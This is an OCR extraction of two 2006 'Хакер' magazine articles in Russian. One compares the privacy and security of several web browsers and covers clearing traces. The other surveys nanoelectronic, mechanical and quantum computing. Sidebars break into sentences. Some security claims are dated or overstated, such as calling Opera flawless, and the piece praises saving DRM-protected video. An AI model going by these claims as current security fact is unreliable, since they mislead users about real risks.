программ, одногруппников/коллегили даже членов семьи.Обеспечение собственной безопасноститребует целого комплекса защитных мер,которые делятся на серверные и клиентские.К серверным в первую очередь относитсявыбор надежного анонимного proxy, о чемxàêåð 12/96/ 06/мы в «Хакере» писали уже не раз и не два.Поэтому не будем повторяться, а лучше сразузаймемся клиентской проблемой, то естьбраузером.Выбор браузераInternet ExplorerОбщая безопасность:Internet Explorer — это определенно самый популярныйсетевой обозреватель всех времени народов. Одновременно с этим — самыйнебезопасный и дырявый. Практически каждуюнеделю в нем обнаруживается свежаяпорция новых дыр, а сколько ошибок остаетсяне выявленными, можно только гадать!И уж точно они будут замечены профессиональнымипрограммистами. Раз — и сразупоявится эксплойт, жертвой которого можемстать и мы.Компрометирующие данные:Но дыры — это еще не все. Хуже всего, чтоIE страдает хроническим недержаниемконфиденциальной информации. В первуюочередь это относится к кэшу, истории,ActiveX-компонентам и кукам. По умолчаниюкэш размещается в каталоге \Documents-n-Settings\user-name\Local Settings\TemporaryInternet Files\ и, по идее, в любой моментможет быть удален по команде «Сервис ->Свойства обозревателя -> Общие -> Временныефайлы интернета -> Удалить файлы».Но не все так просто! За счет грубых ошибокв системе индексации часть файлов простоне удаляется (в чем легко убедиться, заглянувв указанный каталог после его очистки).Туда же попадают и вложения электроннойпочты при открытии аттачей в OutlookExpress, причем штатными средствамиIE они обратно уже не удаляются. Самоеинтересное, что индексный файл index.dat,находящийся в том же подкаталоге, физическине очищается и продолжает хранитьадреса посещенных сайтов. Да, чистоПосле секса без презерватива, в смыслеблуждания по Сети с IE (а ведь мы же предупреждали),душу начинают терзать смутныесомнения: «А не подцепили ли мы чего?!»Тут же устанавливаются самые свежиеверсии антивирусов, которые, естественно,ничего не находят, от чего подозрения толькоусиливаются, распространяя устойчивыйзапах паранойи. Нам кажется, что компьютерведет себя как‐то не так, и любой сбойтрактуется как: «Ну все, конец, это вирус».Как отловить заразу? Достаточно простым,но эффективным тестом на внедрение заразыбыл и остается поиск по вновь созданнымфайлам. 99,9% троянских и шпионских компонентовне утруждают себя модификациейдаты создания файла (не путать с так называемойMS-DOS-датой), а потому и палятся ещена излете. После посещения подозрительныхуголков Сети как можно быстрее нажимаемна «Пуск», где видим «Найти -> Файлы и папки».Ищем файлы, созданные за последнийдень на диске С (для надежности можноохватить и другие диски). Там будет многовсего, но нас в первую очередь интересуютисполняемые файлы, динамические библиотекии прочие программные компоненты,расположенные в Program Files и каталогеWindows.Вот, например. В глаза сразу же бросаетсяepinh.exe, расположенный в C:\WINNT\System 3 2. Мы туда его не клали. За hiew32.exe и ka6.0.0.303ru.exe в TEMP'е можно неопасаться — это мы сами только что их скачали.Остальные файлы представляют собойфайлы данных (кучи, содержимое кэша браузера,логи безопасности) и к вредоноснымкомпонентам никакого отношения не имеют.А вот epinh.exe нас все‐таки поимел. Что делать?!Если есть опыт, дизассемблироватьсамим, если нет, отсылать в «ЛабораториюКасперского». По моим наблюдениям, онареагирует на поступление новой заразыоперативнее других.теоретически, они постепенно затираютсяв процессе посещения новых страниц, ноне все и не всегда. На скриншоте приведенфрагмент индексного файла после егоочистки штатными средствами IE. Как видно,владелец компьютера посещал сайтывесьма компрометирующего характера,но почему, черт возьми, следы оставилахваленая система очистки?!049


pc_zone«Из всех графических браузеровбезопаснее всего безусловно Opera»Хинты:Решение проблемы состоит в ручном удалениивсего содержимого папки TemporaryInternet Files, но при этом необходимо выйти изсистемы и войти под другим пользователем,поскольку в противном случае доступ к частифайлов будет заблокирован. Однако следуетпомнить, что физического удаления файловпри этом не происходит и утилиты типаGetDataBack (GetDataBack) могут вернуть ихназад, пока они не будут основательно затертыновым содержимым. Снизить вероятностьвосстановления до нуля помогут вайперы,например BCWipe (www.jetico.com) илиSteganos Safe (www.steganos.com). Историяпосещения страниц хранится в папке History,в том же каталоге, что и Temporary InternetFiles. Естественно, лучше и надежнее всегоочищать ее вручную. Куки лежат в папкеCookies, в подкаталоге на один уровень выше.А вот ActiveX-элементы (и создаваемыеими файлы) могут храниться в любом местедиска, где только пожелают. Причем никакойвозможности уследить за ними у нас нет, ведьфактически это обыкновенные исполняемыепрограммы! Кстати, стоит отметить, что приопределенных обстоятельствах Windowsедет крышей и сохраняет все это хозяйствоотнюдь не в Local Settings, а непосредственнов самом каталоге Windows! Так что надо бытьначеку! А еще лучше сменить браузер наболее надежный!OperaОбщая безопасность:Широко распространенный в узких кругах,этот браузер практически не содержит дыр.Во всяком случае, документально подтвержденныхатак зафиксировано не было. Дажеесли кто‐то и кричит о работающем эксплойте,то, скорее всего, нагло врет или вообщене понимает, о чем говорит. Opera на текущиймомент неприступна.Компрометирующие данные:Все данные, поступающие из Сети (кэш, куки,история посещений), хранятся в единственномместе — в папке Opera\profile. Там жехранятся skin'ы и другие настройки, поэтомуудалять эту папку целиком не рекомендуется.В отличие от IE, она не будет воссозданаавтоматически при последующем запускебраузера. Стандартные средства очисткиприватного содержимого также, к сожалению,не без греха и содержат ряд ошибок,в результате чего качество очистки оставляетжелать лучшего. Тем не менее, блуждая поСети с Оперой, за хакерские атаки можно неволноваться.Хинты:Содержимое профиля (вместе с самойОперой) очень легко перенести на flash-брелок.Тогда на жестком диске никаких следовнашего пребывания уже не остается. Добавьк этому возможное шифрование данныхна сменном носителе и почувствуешь себяв памперсах. К тому же Опера поддерживаетразвитую и хорошо продуманную системуклавиатурной навигации, обеспечивающуюнамного более быстрый серфинг, чем простоInternet Explorer с одной только мышкой.Другое немаловажное достоинство Оперы— ее бесплатность. Новые версии IE уже неявляются частью операционной системы,как раньше, и раздаются только легальнымпользователям Windows, а в будущем заних планируется взимать дополнительнуюплату. А тут тебе — олимпийское спокойствиек хакерским атакам, возможно, самаяшустрая производительность и отменнаяфункциональность!FirefoxОбщая безопасность:Горящий Лис — стихийно возникший наобломках Netscape, довольно популярный,но, увы, дырявый и категорически небезопасныйбраузер, причем с каждым днем дырв нем обнаруживается все больше и больше.Массовых атак на Лисов до сих пор ненаблюдалось в силу того, что подавляющеебольшинство все‐таки сидит под IE, а Лисаставят себе в основном достаточно продвинутыепользователи, справиться с которымина порядок сложнее. Но угроза подцепитьтроянскую лошадь при посещении web‐страничкивполне реальна, а вот стоит ли с нейсчитаться или понадеяться на авось, каждыйдолжен решать сам.Компрометирующие данные:Свои следы Firefox хранит сразу в двух местах.Папка \Documents-n-Settings\user-name\Application Data\Mozilla\Firefox\Profiles\случайный_набор_букв_и_цифр.default,помимо кучипользовательских схем, настроек и расширений,дает приют файлам cookies.txt и history.dat,когда появились браузерыОктябрь 1994Netscape Navigator0.9.Август 1995Internet Explorer forWindows 1.0.Сентябрь 1996Opera 2.0b1.Сентябрь 2002Firefox 0.1.Июнь 2003Safari 1.0./ 050ODAxNjExOmhNV3d1WWI2xàêåð 12/96/ 06


pc_zoneНебезопасный движок IE не мешает Heatseek’у шифровать всеконфиденциальные данныеИз всех графических браузеров безопаснее всегобезусловно Operaо назначении которых можно догадатьсяи без пояснений. Кэш целиком сосредоточенв папке \Documents-n-Settings\user-name\Local Settings\ApplicationData\Mozilla\Firefox\Profiles\случайный_набор_букв_и_цифр.default.default\Cache и, как и все остальные браузеры,не всегда корректно очищается штатнымисредствами. Что с ним делать, ты ужезнаешь.Хинты:Для Лиса существует огромное количестворасширений, многие из которых запоминаютнекоторую информацию в своих собственныхместах (например, историю поисковых запросов,адреса наиболее часто посещаемыхстраниц и т.д.). За этим надо следить. Но затоплагины расширяют Firefox до совершеннонедостижимых для IE границ. Если отделмаркетоидов и дизайнеров IE курит хорошуютраву и выдумывает фенечки, «реально необходимыекаждому пользователю», то в Лисевсе, что нужно, реализуется сразу, как тольков этом возникает потребность или кого‐тоозаряет свежая идея.HeatseekОбщая безопасность:В отличие от трех предыдущих, Heatseek— это браузер, изначально ориентированныйxàêåð 12/96/ 06/051


pc_zone«Из Firefox’а можно сотворить все,что угодно (даже столь сексуальное),но безопаснее от этого он не будет»Подробнее оHeatseek'е можнопрочитать на страницахВикипедии: http://en.wikipedia.org/wiki/Heatseek.Браузеров на самомделе не 2 и не 3, а намногобольше. Полныйсписок здесь:http://en.wikipedia.org/wiki/List_of_web_browsers.Сравнение браузеровпо всевозможнымхарактеристикам наhttp://en.wikipedia.org/wiki/Comparison_of_web_browsers.Для Firefox существуетспециальное расширение,предоставляющеетуже самую функциональность,что иHeatseek (https://addons.mozilla.org/firefox/1306),но никаким образом несвязанное ни с IE, ни сего дырами. Впрочем,как уже говорилось,у Лиса и своих дырпредостаточно, спасаетлишь его невысокаяраспространенность.на просмотр adult-контента (и прочих сайтов сомнительногосодержания) и потому обладающий рядом несомненныхпреимуществ. Но, несмотря на привлекательныевозможности (о которых ты прочитаешь ниже), онподвержен хакерским атакам почти так же, как и InternetExplorer. И все потому, что нагло использует его движок(файл mshtml.dll).Отсюда следуют две новости — плохая и очень плохая:во‐первых, мы должны иметь IE, установленный на своемкомпьютере; во‐вторых, все атаки, которым подверженIE, автоматически распространяются и на Heatseek, чтоделает его использование совсем не безопасным! Поэтомуобновляться (скачивать заплатки с Microsoft Update)следует как можно чаще.Компрометирующие данные:Я говорил о преимуществах. Во-первых, это мощнаясистема шифрования, кодирующая всю информацию,записываемую на жесткий диск. Благодаря ней достигаетсяполная приватность и конфиденциальность. Дажеесли жесткий диск попадет в руки спецслужб, без утюгаи паяльника расшифровать его содержимое ни за чтоне удастся, а нам не придется каждый раз очищать кэш.Шифруется все: содержимое самих страниц, графическиеизображения, история, куки и даже закладки— ну разве не прелесть?! Однако следует помнить, чтоинформация, физически проходящая через компьютерпровайдера, равно как и маршрутизатор локальной сети,передается в незашифрованном виде. И если она кэшируется(а обычно она кэшируется), то может быть использованадля компромата. Чтобы этого не произошло,необходимо использовать https proxy‐сервера или дажеболее продвинутые защитные механизмы, о которых мыпоговорим в другой раз.Хинты:Если занимаешься грязными делишками на работе,учебе или в публичных местах, то тебе очень кстати будетклавиша аварийной маскировки «Чем это вы тут занимаетесь?!».Она вкупе с подавлением всех всплывающихокон и прочей гадости дает возможность наслаждатьсястраницами без риска быть пойманным, даже если заспиной то и дело шастают всякие любопытствующие.Попутно Heatseek позволяет просматривать видеофайлы,защищенные DMR (Digital Management Right — «Механизмконтроля авторских прав»), сохраняя их на диске дажетогда, когда они этому всячески сопротивляются и вовсех остальных браузерах не сохраняются. Более того,предусмотрена защита от всяких зловредных шпионскихпрограмм, стремящихся выведать о пользователе хотькакую‐то информацию или подкинуть ему троянскуюлошадь. Самое главное, что все это удовольствие не стоитни копейки и может быть скачано с www.heatseek.comсовершенно бесплатно, причем без всякого Adware илидругого замаскированного средства оплаты.Текстовые браузерыОбщая безопасность:Текстовых браузеров существует огромное множество, нохороших всего 2. Один из них — классический Lynx, он жеРысь (http://lynx.isc.org), выполненный в лучших традицияхтерминалов 60‐х и редактора vi. Другой — «пижонский»Links (http://links.twibright.com) c псевдографическими окошкамии меню, заставляющими вспомнить свою молодость,проведенную вместе с MS-DOS. Оба распространяютсяв исходных тестах и совершенно бесплатны. Несмотря нато что основной средой их обитания являются UNIX-подобныесистемы, в сети можно найти множество портов и подWindows. Правда подавляющее большинство пользователейнастолько привыкли к графическим браузерам,что даже и представить себе не могут, что, помимо них,существуют текстовые! И не только существуют, но ещеи развиваются! Казалось бы, в наш век, когда 17‐дюймовыемониторы стоят на каждом столе, а сайты без графики можнопересчитать по пальцам одной руки, текстовые браузерыдолжны были уже давно исчезнуть. Какой прок от страничек,если в них нет картинок?! Но вот, что я тебе скажу, — графика(особенно в стиле современного web-дизайна) толькозатрудняет доступ к информации, рассеивает вниманиеи пожирает львиную долю трафика (причем совершеннозря). А текстовые браузеры могут дать то, что обыкновеннымграфическим собратьям и не снилось — ошеломляющийуровень безопасности. Будучи очень простымиНе веришь, что черезбраузер к тебе можетпроникнуть зараза?Смотри видеоролики надиске, что бы убедитьсяв этом окончательно./ 052xàêåðПрелесть текстового браузераИз Firefox’а можно сотворить все, что угодно (дажестоль сексуальное), но безопаснее от этого он не будет12/96/ 06


pc_zoneСодержимое индексного файла кэша IEпосле его мнимой очистки. Вот так люди ипалятся…программами, текстовые браузеры по своейприроде поддерживают минимум возможностейHTML'а и не содержат фатальных ошибок,позволяя бродить по грязным закоулкам безриска подцепить сетевую заразу.Компрометирующие данные:Кэш страниц, история переходов со страницына страницу и куки по умолчанию хранятсяв том же каталоге, где расположен и самРысь (кстати, занимающий чуть больше двухмегабайт). Он не привязан к определенномуместоположению, ему безразличен реестр,поэтому для достижения максимальнойсекретности, его рекомендуется переброситьна flash-брелок, чтобы не оставлять никакихследов на винте.Браузер Links (на самом деле elinks) в последнихверсиях FreeBSD устанавливаетсяосновным текстовым браузером по умолчанию(до этого там был Lynx). Он поддерживаетJavaScript'ы и многие другие «усовершенствования»HTML'а, игнорируемые Рысем, чеми объясняется рост его популярности. В зависимостиот своих настроек Links сохраняет кэш,куки и историю либо в текущей директории(именно текущей, а не своей собственной),либо в домашнем каталоге пользователяв папке .elinks.Хинты:Что еще может дать текстовый браузер?Во-первых, по сравнению с графическимибраузерами скорость восприятия информацииу него выше на 2 порядка. На экраневиден только текст и больше ничего. Рекламавместе с сопутствующим ей информационныммусором уходит на дно. Во-вторых, изначальнорассчитанные на клавиатуру, текстовыебраузеры демонстрируют непревзойденнуюскорость web‐серфинга (как ни крути, на мышивсе же меньше кнопок, чем на клавиатуре).И в‐третьих, как показывает практика, приработе в текстовом режиме намного меньшеустают глаза и можно безболезненно сидетьза монитором дни и ночи напролет без всякогоущерба для зрения.С презервативом или безПомимо выбора правильного браузера, необходимопомнить и еще о некоторых вещах. Например,о кэше провайдера или виртуальныхмашинах: одно может выдать тебя с потрохами,другое — спасти в самых сложных ситуациях.Обо всем этом и многом другом ты прочитаешьво врезках. zxàêåð 12/96/ 06/053


implantЮрий Свидиненко/ metamorph@yandex.ru /Механика,кремнийили кванты?Компьютеры будущего — какими они будут?В XIX веке никто серьезно не задавался таким вопросом, как математические вычисления на машинах.Создание первого счетного механического компьютера лордом Чарльзом Бэббиджем в 1834 году раз и навсегдаубедило тогдашних математиков в том, что голова — хорошо, а машина — лучше. Однако тогда никто и подозреватьне мог, что уже через 150 лет появятся машины такой вычислительной мощности, что за миллисекунды будутполучать ответы на задачи, решаемые обычно армией математиков старого образца со счетными машинаминесколько лет. Представь себе: раньше были конторы, в которых клерки с простыми арифмометрами наперевесза определенную сумму наличных вручную считали сложнейшие уравнения, выполняя за месяцы работу,с которой MatCAD справляется за секунду-две. Само собой, сегодня их место заняли дяди в белых халатах, колдующиевозле суперкомпьютеров. Дядям платят деньги военные, климатологи, молекулярные биологи, астрономыи вообще все, кому необходимо получить решение титанических задач.ы же повседневно используешьT вычислительные мощности поскоромнееи для более приземленныхцелей: кино посмотреть, музыкупослушать, побродить в интернете или жепоиграть.Грубо говоря, по принципу действия современныекомпьютеры не далеко ушли от механикиБэббиджа, но вот по развитию технологийускакали довольно резво. И сегодня, когдавиден свет в конце туннеля, предвещающий завершениеминиатюризации и, как следствие,закона Мура, все более остро встает вопросо будущем компьютеров и вычислительныхсистем вообще. Дело-то простое: нам нужнысверхбыстрые и компактные компьютеры.Всего-то! Дай современный ноут или КПКклерку из конца XIX века, он был бы безмерносчастлив, но нас-то это не устраивает, как/ 054xàêåðклерка не устраивал его аппарат Бэббиджа. Нопрошло время, в начале XX века шестеренкисменили быстрые электроны. Сегодня говорят,что через несколько десятков лет их местозаймут кванты или органика в виде молекулДНК, а самые смелые заявляют об обратномпереходе на шестеренки к середине XXI века.Как бы странно это не звучало, но правы всепонемногу. Дело в том, что за всеми подобнымизаявлениями стоят прототипы и годы фундаментальныхисследований (как и в XIX векепри исследовании электричества и созданииблагодаря полученным знаниям миллиардовустройств).Ты можешь спросить, почему же нельзя идальше уменьшать размеры транзисторов илиизобрести что-то покруче и поменьше? Ведь незря Intel и AMD за наши с тобой деньги двигаютвперед технологии.Классика в строюА вот получается, что двигаться дальшепрактически некуда. То есть лет 10 — 20 у насеще есть, а за ними в электронике последуетполный застой (чего, естественно, не будет,так как вышеупомянутые Intel и AMD опятьтакине зря тратят наши деньги на исследования),если не искать альтернативные методыпостроения вычислительных систем.Закону Мура, как ни крути, уже исполнился41 год. Серьезная компьютерная гонканачалась в 1965 году, когда сооснователькомпании Intel Гордон Мур выдвинул прогноз,касающийся будущего развития микроэлектроники.Он предположил, что количествотранзисторов на чипах будет удваиватьсякаждый год. Тогда был повод для таких оптимистическихпрогнозов.Во-первых, в то время чипы были еще очень12/96/ 06


implantбольшими во всех отношениях. Как рассказывалмой преподаватель электроники,в то время они набирали триггеры (или впростонародье ключи) на полосе гетинаксаразмерами с обыкновенную линейку. И есликто мог разместить на ней 10 триггеров (извосьми получался один регистр, в которомможно было хранить 1 байт!), то это считалоськруто.Мур же, опираясь на достижения тогдашнегопроизводственного процесса, предположил,что такая тенденция не вечна. Он подумал,что можно будет увеличить размеры чипови разместить на них больше ключей, а такжеуменьшить расстояние между отдельнымитранзисторами.Сегодня все эти задумки с успехом реализованыв железе. Уже разработано производствонанотранзисторов по 35-нм техпроцессу,и исследователи из IBM утверждают, чточерез пару лет приступят к освоению11-нм техпроцесса. То есть на микросхемахразмеры транзисторов будут не больше11 нанометров. Чтобы ты понял, насколькоэто мало, приведу пример: вдоль одного такоготранзистора можно будет выстроить 100атомов кислорода.Однако 11 нанометров — это почти пределдля традиционной плоской кремниевойнаноэлектроники. После этой окончательнойминиатюризации транзисторов закон Мураперестанет действовать на классическуюэлектронику. Сам Мур недавно сказал:Принцип действия и микрофотографии памяти NRAM«Ничто не может длиться вечно, но пройдетеще 10 — 20 лет до того момента, когда мыстолкнемся с фундаментальным барьером инам придется что-то придумывать».Посмотрим теперь, как по времени разбросаныпереходы от 65-нм транзисторов, которыеНанотехнологическая компания Nantero, специализирующаясяна изготовлении молекулярной памяти на основенанотехнологий, и компания LSI Logic, лидер в производствеспециализированных микрочипов, недавно анонсировалиготовность к началу производства нанопамяти NRAM. Этостало возможно благодаря новой технологии разделения инанесения нанотрубок на поверхности чипов.Новая производственная линия представляет собой стандартнуюполупроводниковую, но с небольшими дополнениями,связанными с технологией Nantero. Производитьлиния будет NRAM — RAM-нанопамять с высокой плотностьюданных. Как утверждают аналитики обеих компаний, в ближайшембудущем новая нанопамять заменит все существующиевиды RAM-памяти.Память NRAM использует нанотрубки, которые до этоговремени было достаточно сложно и дорого произвести. Ноблагодаря тому, что компания Nantera разработала новыйметод очищения углеродных нанотрубок и технологию ихмассового нанесения на чип, производство NRAM-чипов сталореальностью.внедряются сегодня, к 11-нм.В 2007 году намечен переход на 45-нмпроцесс. 2009 год — внедрение 32-нанометрового,и только в 2011 году настанет чередтехнологического процесса 22 нм. А 11-нмтехпроцесс появится где-то к 2020 году послевнедрения в 2015 году 13-нм ноды.Эти прогнозы не высосаны из пальца, азаявлены Паоло Джарджини, директоромтехнологической стратегии из корпорацииIntel. Более того, как он недавно сообщил,уже есть конкретные научно-техническиеразработки, которые позволяют реализоватьэти долгоиграющие планы.В то время как Intel, IBM и AMD продолжаютуверенно двигаться по протоптанной дорогек 11-нм тупику, другие компании начинаютискать альтернативу в виде трехмерных транзисторов,транзисторов на нанотрубках иливообще на отдельных молекулах.Так, Infineon Technologies предложилиоригинальную конструкцию транзистора длячипов энергонезависимой памяти (nonvolatileflash memory). Этот чип размерами всего 20нанометров (и это, заметь, не в 2015 году, ауже сегодня) может длительно хранить одинбит без подачи на устройство энергии.Самая «продвинутая» современная flash-память,выполняющая аналогичные функции(хранение одного бита памяти), имеет размерыоколо 90 нм. Не мне тебе рассказывать, чтотакое flash-память и где она используется :).Дело в том, что все попытки уменьшитьflash-чипы, использующие 90-нм технологиюдо сегодняшнего времени не увенчалисьуспехом из-за физических ограничений,накладываемых процессом их производства.А Infineon’цам удалось создать новый 20-нмчип только благодаря ранее изобретенномуполевому транзистору FinFET (FET — FieldEmission Transistor — полевой транзистор),который имеет трехмерную структуру расположенияслоев полупроводников, позволившуюуменьшить его размеры. Современныетранзисторы — «плоские», и из-за такойгеометрии трудно добиться большей миниатюризации.Один из главных компонентовтранзистора — кремниевый «плавник» (fin)толщиной всего 8 нанометров, которыйпроходит через нитридный слой, играющийроль «ловушки» для носителей информации— электронов. Затвор транзистораразмерами 20 нм управляет «плавником»,который обеспечивает переключение«ловушечного слоя». Транзистор сконструировантаким образом, что «ловушечныйслой» электрически изолирован от«плавника» и затвора. В логическом состоxàêåð12/96/ 06/055


implantПроцессор 4 пня под микроскопом Механокомпьютерянии, соответствующем «1», в «ловушку»попадает около 100 электронов. В современныхчипах ячейка памяти в состоянии «1»содержит их около 1000.Еще в 2004 году специалисты Infineon представилина Международной Конференции поэлектронным устройствам в Сан-Францисконовый flash-чип, который может хранить до32 Гб информации, при этом он в 8 раз меньшепродающихся сегодня.Если нельзя сделать чип меньше, то ничтоКак было установлено учеными, время переключениянанотранзисторов выше аналогичногопоказателя у транзисторов, состоящихиз нанотрубок. И, естественно, оно выше, чему любых современных MOSFET-транзисторов.Среди нестандартных проектов, заставляющихкомпьютеры работать еще быстрее,— использование вместо винчестера тойже flash-памяти. Идея интересная, еслиучитывать то, что чем меньше будет «большой»механики в компе, тем лучше. Один мойФизики из Университета Аризоны разработали транзистор,состоящий из одиночной молекулы. Новый нанотранзисторработает благодаря эффекту квантовой интерференции,поэтому он был назван QuIET — Quantum InterferenceEffect Transistor. Новый нанотранзистор QuIET длиной всегоодин нанометр. Меньшего по размерам нанотранзистора досих пор ученым изготовить не удавалось.Благодаря принципам квантовой механики, на которыхоснована работа QuIET, его переключение происходит контролированиемразличных электронных потоков, проходящихчерез него. Основа транзистора — кольцевая молекулабензола с двумя подключенными к ней электродами, покоторым через транзистор протекает основной ток. Ток,протекающий по третьему электроду, не складывается сосновным, как это положено по законам электродинамики,а ведет себя как волна, и поэтому 2 тока могут интерферироватьмежду собой таким образом, что транзистор закрывается.Описываемые исследователями перспективы развитиякомпьютеров на квантовых транзисторах QuIET достаточношироко охватывают микроэлектронную индустрию. Это икомпьютерные чипы, и мобильные устройства, и бытоваяэлектроника — все типы продуктов, где только используютсятранзисторы.друг поставил себе вместо винта две планкипамяти по 1 Гб и установил на них винду.Ему пришлось подцепить на них отдельноеавтономное питание. Но зато как работалана них винда! Примерно то же, только болеебыстрое, предлагают нам на основе памятиflash-NAND.Уже есть винчестеры с интегрированными64 Mб или 128 Mб буферной flash-памяти. Ав 2007 году NAND-винчестеры появятся нарынке.Новая NAND-технология была названа MCP— Мulti-chip Package Memory. Ее массовоепроизводство началось в прошлом месяце.Как видишь, классическая электроника покане собирается склеивать ласты, хотя этотпроцесс уже не за горами. Поэтому, кромеклассических ухищрений, ученые ищут неклассические.Механические нанокомпьютерыОдно из таких не классических ухищрений— возврат к механике старины Бэббиджа.Оказывается, что в физике наномира естьнесколько ограничений для работы сверхмалойэлектроники. Одно из них — законыквантовой механики, которые не даютработать нанотранзисторам как надо. А вотмеханика работает достаточно надежно.Эрик Дрекслер, один из отцов нанотехнологии,даже разработал проект механическогоКвантовый ключне мешает сделать его быстрее. Ученые изГарвардского университета славно потрудилисьнад оптимизацией скорости транзисторов.Они разработали самый быстрый насегодняшний день нанотранзистор на основенанострун.Он состоит из германиево/кремниевого ядраи кремниевых нанострун, которые формируютструктуру «ядро-нити» в Ge/Si наноструктурес надежными омическими контактами ивысокой мобильностью носителей зарядов.Их Ge/Si нанострунный FET (полевой транзистор)в 3-4 раза быстрее, современныхкремниевых CMOS./ 056xàêåð12/96/ 06


implantАналитическая машина лорда БэббиджаМеханопамять под электронным микроскопомнанотранзистора на стержневой логике.Основными элементами как механопамяти,так и транзисторов являются вдвигаемые ивыдвигаемые стержни, взаимно запирающиедвижение друг друга.Получается, что при ширине стержня внесколько атомных размеров (например,при использовании углеродных нанотрубок)компьютер, эквивалентный современному,содержащему 1 млн. транзисторов, можетиметь объём 0,01 кубических микрон, а компьютерс памятью в 1 терабайт — 1 кубическиймикрон!Как и в случае с наноэлектроникой, быстродействиенаномеханического компьютерабудет определяться возможностью отводатепла. Расчёты Дрекслера показывают, чтопри комнатной температуре окружающейсреды на 1 Вт рассеиваемой мощности такойкомпьютер будет осуществлять около 10Е16операций в секунду. При мощности 100 нВтэто даёт производительность 10Е9 операцийв секунду, что примерно эквивалентно современномумощному настольному компьютеру.Но только в объеме 1 кубический микрон! Длясравнения: красная кровяная клетка — эритроцит— имеет средний объем порядка 60кубических микрон. Получается, в эритроцит,который и в оптический микроскоп-то плоховидно, можно будет напихать 60 среднихнастольных компьютеров!Чип памяти flash-NAND Samsung NANDOne 4 ГбНе хуже дела обстоят и с механической памятью.Несмотря на то что при словах «механическаяпамять» вспоминается старые счетныемашины, арифмометры, «железные феликсы»и перфокарты, этот тип наномеханикине предполагает возврата к перфокартам.Над механическими ячейками памяти ученыеработают с 2000 года. Например, в Бостонскомуниверситете ученый Притирэй Мохантисоздал систему хранения информации наоснове наномеханических осцилляторов (колебательныхструн). Эти механические ячейкипамяти — из кремния, которые в тысячу разменьше диаметра человеческого волоса.Использование механопамяти для храненияинформации будет выгоднее по плотностиинформации, чем применение современныхэлектромагнитных систем. Ученые уверены,что механопамять обгонит по емкости даже темагнитные устройства, которые по нынешнимтехнологиям изготовления приближаются кфизическому пределу плотности информации.Исследователям из японского Национального институтаматериаловедения удалось перенести старую технологиюмеханоэлектрических выключателей на квантовый уровень.Они создали миниатюрный квантово-механическийвыключатель, подобный тем, которые по сей день используютсяво многих бытовых приборах.Принцип работы выключателя прост: при подаче напряженияна устройство между двумя нанопроводниками возникаетили распадается мостик из серебра, который выполняетроль проводника. Длина мостика, по которому протекает ток,— всего 1 нанометр. На отрезке длиной 1 нанометр можно расположить10 атомов водорода. Поэтому сообщение о созданиинового квантового устройства претендует на сенсацию.В отличие от обычных механоэлектрических переключателей,у наноаналога нет движущихся механических частей.Перемычка из серебра возникает между шинами просто отподачи на них напряжения. Прототип, изготовленный учеными,переключается с частотой около 1 МГц при разницепотенциалов между шинами ±600 милливольт.То, что новое устройство работает по законам квантовойфизики, позволяет создавать на его основе многобитнуюпамять.Механопамять может работать, выполняямиллионы и миллиарды циклов в секунду,потребляя при этом в миллион раз меньшеэнергии, чем электронные аналоги. Связаноэто с тем, что механике не нужно рассеиватьтак много тепла, как электронике.Одиночная ячейка памяти состоит из кремниевойструны нанометровых размеров, котораяпри воздействии на ее концы высокочастотнымнапряжением (с частотой в несколькомегагерц) изгибается. При определеннойамплитуде напряжения струна принимаетодно из конечных состояний («1» или «0» соответственно),что как раз нужно для храненияинформации.xàêåð 12/96/ 06/ 057


implantОтдельный кантилевер «многоножки»Микрофотография и структура MOSFETМаленькие размеры устройства позволяютему достичь высокочастотных вибраций (вопытах — до 23,57 МГц). Эта частота отражаетскорость чтения записанной информации.Для сравнения, винчестеры в современныхноутбуках характеризуются скоростью считыванияинформации в несколько сот килогерц(тысяча циклов в секунду). Ученые заверяют,что наномеханические ключи могут достичьскорости до миллиарда циклов в секунду.Альтернативный вариант механическихустройств хранения данных — всем известная«многоножка» от IBM, которая должнапоявиться на рынке в 2007 году. То, что онапоявится, сомнений нет, так как 11 марта 2005на выставке CeBit в Ганновере IBM представилаработоспособный чип устройства Millipede(«многоножка»).Благодаря нанотехнологиям чип изготовленпо 10-нм техпроцессу, позволяющемуразмещать на органической пленке, котораявыступает в качестве носителя информации,углубления диаметром 10 нанометров.Расстояние между углублениями составляет100 нанометров, что дает возможностьпоместить на чипе довольно большуюматрицу атомно-силовых щупов (кантилеверов).Наличие углубления соответствуетлогической единице, а его отсутствие— логическому нулю. Кантилевер-щуп— это специальный атомно-силовой зонд,который «ощупывает» сканируемую поверхность,изменяя свое положение в пространствев зависимости от того, встретитли он на пути углубление или нет.При чтении данных специальный приводкремниевого «стола», на котором помещенапленка с данными, перемещает ее в плоскостипо заданным координатам X и Y. А приводмультиплексора позволяет управлять каждымкантилевером в отдельности, обеспечиваяадресацию памяти. Благодаря большомуколичеству щупов матрица кантилеверовобеспечивает параллельное чтение илизапись данных.Операция записи происходит термомеханическимпутем с помощью головок кантилеверов.Для поддержания постоянной температурыпленки, необходимой для проведения/ 058xàêåðпроцедур записи и стирания данных, на чипенаходится ряд нагревательных элементов.Принцип работы устройства в целом заимствовану систем, работающих с перфокартами. Нов отличие от бумажных перфокарт, «многоножка»умеет стирать продырявленную еюинформацию благодаря пластическим свойствамПММА и ряду нагревательных элементов.Готовый выставочный чип «многоножки»может хранить 1,2 терабит (или 153 Гб) наплощади в 1 квадратный дюйм.Для сравнения представь чип размерами спочтовую марку, на которой можно записатьсодержимое 25-ти DVD-дисков. Размерыматрицы 4096-ти кантилеверов, представленнойна выставке в Ганновере, — 6,3х6,3миллиметра.Как утверждает Йоханнес Вайндлен, менеджерпроекта Millipede в IBM, минимальнаяемкость «многоножки» составит 10 Гб.Вайндлен также заявил, что IBM уже способнаизготовить «многоножек» в серийном исполнениина базе кремниевых МЭМС.Квантовые компьютерыКак ни крути, но атомы и молекулы — хорошо,а кванты лучше. Тем, что на их основе можнотакого навертеть, что самый продвинутыймеханоэлектрический комп будет простоотдыхать. Не зря считают человеческий мозгбольшим квантовым компьютером, в котороммиллионы процессов проходят параллельно.Квантовые компьютеры оперируют квантовымибитами (qubits), или кубитами. Обычный бит— это классическая система, у которой естьтолько 2 возможных состояния. Можно сказать,что пространство состояний бита — этомножество из двух элементов, например изнуля и единицы. Кубит же — это квантоваясистема с двумя возможными состояниями.Имеется ряд примеров таких квантовыхсистем: электрон, у которого спин можетбыть равен либо 1/2, либо -1/2 , или атомы вкристаллической решетке. Поэтому кубитымогут иметь большее множество состояний,чем традиционные биты, благодаря чему квантовыекомпьютеры способны обрабатывать«Многоножка» — общий вид самого чипа и принцип действия устройства12/96/ 06


